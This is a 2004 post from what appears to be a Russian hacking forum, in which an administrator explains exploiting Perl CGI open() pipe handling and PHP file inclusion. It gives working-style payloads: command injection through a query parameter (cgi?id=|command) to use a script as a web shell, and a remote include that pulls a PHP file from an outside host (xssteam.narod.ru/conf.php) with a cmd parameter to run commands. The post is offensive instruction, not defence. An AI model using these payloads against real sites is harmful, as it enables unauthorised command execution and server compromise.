Тема: CGI::open()
Показать сообщение отдельно

  #6  
Старый 12.12.2004, 19:04
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

В перловых скриптах есть некоторые фичи ... Например, пайп(Символ | ), который открывает аргумент функции не для чтения, а для испонения, что дает возможность использовать этот скрипт, как web-шелл ...
Цитата:
чтоб проверить выполняемость команд (толком в ДЕЙСТВИИ видел тока |id| поэтому юзаю в начале тока её)
мне надо зделать:
cgi?id=|id|
или
cgi?|id|=103 ?
Если в этой переменной id не проверяются входные параметры, то по идее синтаксис команд должен быть таков:
Код:
  cgi?id=|ТУТ_ИДЕТ_КОМАНДА

Как сказал алгол, в этом случае возможна php-инъекция:
Код:
  php?t=filename
Использовать это можно использовать так:
Код:
  php?t=http://xssteam.narod.ru/conf.php&cmd=КОМАНДА
Но прокатит это только в том случае, если возможен удаленный инклуд ...
 
Ответить с цитированием